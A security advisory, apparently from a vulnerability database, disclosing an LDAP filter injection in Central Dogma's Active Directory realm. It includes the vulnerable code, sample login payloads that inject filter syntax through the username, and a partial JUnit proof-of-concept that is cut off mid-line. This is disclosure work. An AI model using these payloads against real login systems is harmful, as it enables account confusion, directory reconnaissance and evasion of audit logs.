CVE-2026-11748
Maven · com.linecorp.centraldogma:centraldogma-server-auth-shiro
Résumé
Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion
Détails de l’avis
Vulnerability
SearchFirstActiveDirectoryRealm.findUserDn() substitutes the user-supplied username from the login form into an LDAP search filter template (default cn={0}) without escaping RFC 4515 filter metacharacters (*, (, ), \, NUL). Combined with SearchControls.setCountLimit(1) on the same call site, this allows three distinct attack primitives:
- Authentication confusion — typing username
*causes the realm to construct filtercn=*, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password. - Audit log evasion — payload
bob)(uid=aliceis recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001). - Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.
A repo-wide search for any LDAP escape helper (escapeLdap, encodeFilter, escapeFilter, ldapEscape) returns zero hits — the defense is not just missing, it was never added.
Applicability note: This realm is opt-in. The shipped default LDAP example (
dist/src/conf/shiro.example.ldap.ini) uses Shiro'sDefaultLdapRealmwithuserDnTemplateand is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in viasAMAccountNameand the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.
Evidence
File: server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java
Lines 148–176 on branch main @ commit d64a5151:
@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
throws NamingException {
LdapContext ctx = null;
try {
ctx = ldapContextFactory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1); // line 156 — returns FIRST match only
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
ctrl.setTimeLimit(searchTimeoutMillis);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(username) // line 162 — RAW SUBSTITUTION
: username; // line 163
final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
...
USERNAME_PLACEHOLDER = Pattern.compile("\\{0}"). Default searchFilter = "cn={0}".
Data flow from HTTP login to vulnerable substitution
| Step | Component |
|---|---|
| HTTP login form | POST /api/v1/login form field username |
ShiroLoginService.usernamePassword() (lines 198–223) |
applies loginNameNormalizer (Unicode lowercase only — NOT LDAP escape) |
Subject.login(new UsernamePasswordToken(username, password)) |
Shiro hand-off |
ActiveDirectoryRealm.doGetAuthenticationInfo (Shiro core) |
calls queryForAuthenticationInfo0 |
SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername()) |
username flows in verbatim |
Repository-wide escape helper grep
| Search term | Hits |
|---|---|
escapeLdap |
0 |
encodeFilter |
0 |
escapeFilter |
0 |
ldapEscape |
0 |
PoC
Self-contained JUnit 5 test using UnboundID InMemoryDirectoryServer (in-process, no external LDAP required). Drop into server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java and add com.unboundid:unboundid-ldapsdk:7.0.0 as a test dependency.
The PoC works by subclassing the realm and overriding
findUserDn()to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.
/*
* Copyright 2026 LINE Corporation
*
* SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
*
* This JUnit class demonstrates the LDAP filter injection in
* SearchFirstActiveDirectoryRealm. Drop into
* server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
* Adds the UnboundID LDAP SDK as a test dep.
*/
package com.linecorp.centraldogma.server.auth.shiro.realm;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;
import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {
private static InMemoryDirectoryServer ds;
private static int port;
@BeforeAll
static void startLdap() throws Exception {
final InMemoryDirectoryServerConfig cfg =
new InMemoryDirectoryServerConfig("dc=example,dc=com");
cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
"default", null, 0, null));
ds = new InMemoryDirectoryServer(cfg);
ds.startListening();
port = ds.getListenPort();
// Directory:
// cn=admin (listed first → picked by setCountLimit(1) under wildcard)
// cn=alice
ds.add(new Entry(
"cn=admin,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: admin", "sn: admin",
"userPassword: adminpw"));
ds.add(new Entry(
"cn=alice,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: alice", "sn: doe",
"userPassword: alicepw"));
}
@AfterAll
static void stopLdap() {
if (ds != null) ds.shutDown(true);
}
/** Subclass that records the filter passed to ctx.search(). */
private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
volatile String capturedFilter;
RecordingRealm() {
setUrl("ldap://localhost:" + port);
setSystemUsername("cn=admin,dc=example,dc=com");
setSystemPassword("adminpw");
setSearchBase("dc=example,dc=com");
setSearchFilter("cn={0}");
}
@Override
protected String findUserDn(LdapContextFactory factory, String username)
throws javax.naming.NamingException {
LdapContext ctx = null;
try {
ctx = factory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1);
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
final java.util.regex.Pattern PH =
java.util.regex.Pattern.compile("\\{0}");
final String filter = PH.matcher("cn={0}").replaceAll(username);
capturedFilter = filter;
final javax.naming.NamingEnumeration r =
ctx.search("dc=example,dc=com", f
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- MEDIUMCVE-2026-96628
Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`
- CRITICALCVE-2026-105192
LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport
- HIGHCVE-2026-100349
kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content
- MEDIUMCVE-2026-58494
Wasmtime: WASI hard links bypass wasmtime-wasi's FilePerms for destination
- HIGHGHSA-6fj4-rcr3-r7rr
lopdf has a stack overflow via deeply nested PDF objects